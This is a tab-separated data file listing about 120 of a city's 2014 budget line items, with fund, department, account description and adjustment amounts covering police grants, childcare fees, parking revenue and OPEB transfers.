12887	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578851.0	BULLETPROOF VEST GRANT - 2014	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	30152	0	0	0.0	30152.0
12888	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2014	0.0	0	0	0	3072	0	0.0	0	0	0	0	0.0	3072.0
12889	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	52500	0	0.0	0	0	0	0	0.0	52500.0
12890	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2014	0.0	0	0	0	224	0	0.0	0	0	0	0	0.0	224.0
12891	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	0.0	0	0	0	578	0	0.0	0	0	0	0	0.0	578.0
12892	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	60000	0	0.0	0	0	0	0	0.0	60000.0
12893	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	270000	0	0.0	0	0	0	0	0.0	270000.0
12894	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566582.0	PARAMEDIC CERTIFICATES	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	1200.0	0	0	0	0	0.0	1200.0
12895	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2014	-45000.0	0	0	0	0	0	-10000.0	0	0	0	0	0.0	-55000.0
12896	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2014	1500000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500000.0
12897	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2014	-33600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33600.0
12898	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2014	-78000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-78000.0
12899	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2014	547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	547.0
12900	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	13527.0	0	0	0	0	0	-5000.0	0	0	0	0	0.0	8527.0
12901	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	12300.0	0	0	0	0	0	-3000.0	0	0	0	0	0.0	9300.0
12902	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2014	2052.0	0	0	0	-936	0	0.0	0	0	0	0	0.0	1116.0
12903	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555364.0	13 STATE HOMELAND SEC GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	27186.0	0	0	0	0	200000.0	227186.0
12904	B1	IS	4	Special Revenue Source Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	410070.0	OPEN SPACE CONTRIB	622.0	Other	2014	-207857.0	0	0	0	0	0	0.0	207857	0	0	0	0.0	0.0
12905	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404041.0	SR2S - EDISON LANGUAGE ACADEMY	610.0	Intergovernmental	2014	-369700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-369700.0
12906	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566480.0	ILLEGAL DISPOSAL ABATEMENT GRA	808.0	 Supplies and Expenses	2014	398064.0	0	0	0	0	0	0.0	0	0	0	0	0.0	398064.0
12907	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566990.0	CRIME PREVENTION	806.0	 Supplies and Expenses	2014	39662.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39662.0
12908	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406101.0	STRATEGIC PREVENTION FRAME- ST	610.0	Intergovernmental	2014	0.0	0	0	0	0	-48000	0.0	0	0	0	0	-9600.0	-57600.0
12909	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	403636.0	JUSTICE ASSIST GRANT 2014	610.0	Intergovernmental	2014	0.0	0	0	0	0	-31585	0.0	0	0	0	0	0.0	-31585.0
12910	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408671.0	WAYFINDING-MLTI-MODL METRO CFP	610.0	Intergovernmental	2014	0.0	0	0	-364263	0	0	0.0	0	0	0	0	0.0	-364263.0
12911	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0	0	3893	0	0.0	0	0	0	0	0.0	3893.0
12912	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	54066	0	0.0	0	0	0	0	0.0	54066.0
12913	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2014	0.0	0	0	0	1285	0	0.0	0	0	0	0	0.0	1285.0
12914	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2014	0.0	0	0	0	355	0	0.0	0	0	0	0	0.0	355.0
12915	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	7000	0	0.0	0	0	0	0	0.0	7000.0
12916	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	0.0	0	0	0	2000	0	0.0	0	0	0	0	0.0	2000.0
12917	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555399.0	13 UASI GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	-655044	0	751386.0	96342.0
12918	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410170.0	SIGN REMOVAL	612.0	Charges for Service	2014	-5880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5880.0
12919	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2014	-62253.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-62253.0
12920	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2014	4545.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4545.0
12921	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2014	1217.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1217.0
12922	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	25464.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25464.0
12923	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400351.0	RPTTF RESIDUALS	602.0	Property Taxes	2014	-5120927.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5120927.0
12924	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2014	-50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-50000.0
12925	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2014	-1151756.0	0	0	936130	0	0	0.0	0	0	0	0	0.0	-215626.0
12926	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-66000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-66000.0
12927	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2014	-271962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-271962.0
12928	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408641.0	CO ESPLANADE - STPL	610.0	Intergovernmental	2014	-2463750.0	0	0	0	-820777	0	0.0	0	0	0	0	0.0	-3284527.0
12929	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2014	-4057846.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4057846.0
12930	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2014	-800000.0	0	0	0	0	0	-16000.0	0	0	0	0	0.0	-816000.0
12931	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402010.0	SM PIER - RENTAL	650.0	Charges for Service	2014	-2964825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2964825.0
12932	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	407771.0	COST RECOVERY DEPOSITS	622.0	Other	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-450000.0	-450000.0
12933	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0	0	0	27	0.0	0	0	0	0	0.0	27.0
12934	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	5176.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5176.0
12935	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	88740.0	0	0	0	0	5280	0.0	0	0	0	0	0.0	94020.0
12936	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-2634.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2634.0
12937	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	936.0	0	0	0	0	0	0.0	0	0	0	0	0.0	936.0
12938	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	3000.0	0	0	0	0	0.0	3000.0
12939	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	31529.0	0	0	0	-14130	0	0.0	0	0	0	0	0.0	17399.0
12940	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-7636	0	0	0	0.0	-7636.0
12941	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-6932	0	0	0	0.0	-6932.0
12942	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-245862	0	0	0	0.0	-245862.0
12943	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	804.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-870106.0	-870106.0
12944	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-27481.0	-27481.0
12945	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	328295.0	328295.0
12946	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-118834.0	-118834.0
12947	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555400.0	14 UASI GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	128507	0	0.0	128507.0
12948	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570081.0	TRANSFER OUT-WTR L-INCOME DISC		 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	20000.0	20000.0
12949	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-5500	0	0	0	0.0	-5500.0
12950	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-31130	0	0	0	0.0	-31130.0
12951	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-29923	0	0	0	0.0	-29923.0
12952	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-124489	0	0	0	0.0	-124489.0
12953	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-6393	0	0	0	0.0	-6393.0
12954	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-22332	0	0	0	0.0	-22332.0
12955	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-17991	0	0	0	0.0	-17991.0
12956	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	816.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	15245.0	15245.0
12957	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	816.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-3636.0	-3636.0
12958	B1	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	91751.0	91751.0
12959	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-6225.0	-6225.0
12960	B1	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	808.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	16841.0	16841.0
12961	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570321.0	TRANS FROM 04 FUND	908.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-3700000.0	-3700000.0
12962	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	8852.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8852.0
12963	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2014	17550.0	0	0	0	-8775	0	0.0	0	0	0	0	0.0	8775.0
12964	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	32128.0	0	0	0	216738	0	-11000.0	0	0	0	0	0.0	237866.0
12965	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406804.0	13 STATE HOMELAND SEC GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	-27186.0	0	0	0	0	-200000.0	-227186.0
12966	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566471.0	SPECIAL EVENT TRAFFIC CONTROL	816.0	 Supplies and Expenses	2014	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
12967	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408580.0	ALARM REGISTRATION FEE	608.0	Licenses and Permits	2014	-151200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-151200.0
12968	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2014	24000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24000.0
12969	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	4100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4100.0
12970	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	15683.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15683.0
12971	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	406856.0	OTS STEP GRANT 2014	610.0	Intergovernmental	2014	0.0	0	0	0	0	-330000	0.0	0	0	0	0	0.0	-330000.0
12972	B1	IS	4	Special Revenue Source Fund	300	POLICE	306	STRATEGIC SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	-21456.0	0	0	0	0	0	42912.0	0	0	0	0	0.0	21456.0
12973	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	410290.0	OPC SEA LEVEL RISE ADAPTATION	610.0	Intergovernmental	2014	0.0	0	0	0	0	-235000	0.0	0	0	0	0	0.0	-235000.0
12974	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	408720.0	EXPO BUFFER PARK HRP GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	-2139850	0	0	0.0	-2139850.0
12975	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	28000	0	0.0	0	0	0	0	0.0	28000.0
12976	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	409310.0	AUTO PARK PERMIT	608.0	Licenses and Permits	2014	0.0	0	0	0	0	0	-10878.0	0	0	0	0	0.0	-10878.0
12977	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-35467	0	0	0	0.0	-35467.0
12978	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-39819	0	0	0	0.0	-39819.0
12979	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-52410	0	0	0	0.0	-52410.0
12980	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-54654	0	0	0	0.0	-54654.0
12981	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-3640	0	0	0	0.0	-3640.0
12982	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	9267.0	9267.0
12983	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-8682.0	-8682.0
12984	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	6225.0	6225.0
12985	B1	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	808.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-16841.0	-16841.0
12986	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579014.0	DISCRET-SM ARTS PARENTS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	30000.0	30000.0
12987	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570321.0	TRANS TO 01 FUND	910.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	3700000.0	3700000.0
12988	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	0.0	0	0	0	0	39579	0.0	0	0	0	0	0.0	39579.0
12989	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
12990	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
12991	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2014	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
12992	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	5625.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5625.0
12993	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	7918.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7918.0
12994	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	647.0	0	0	0	0	0	0.0	0	0	0	0	0.0	647.0
12995	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	903977.0	0	0	0	0	9618	-23.0	0	0	0	0	0.0	913572.0
12996	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2014	77538.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77538.0
12997	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	15875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15875.0
12998	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2014	11156.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11156.0
12999	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	10582.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10582.0
13000	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-484108.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-484108.0
13001	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
13002	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	359.0	0	0	0	0	0	0.0	0	0	0	0	0.0	359.0
13003	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	533.0
13004	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533560.0	CONF / MTGS / TRAVEL-PO	804.0	 Supplies and Expenses	2014	2975.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2975.0
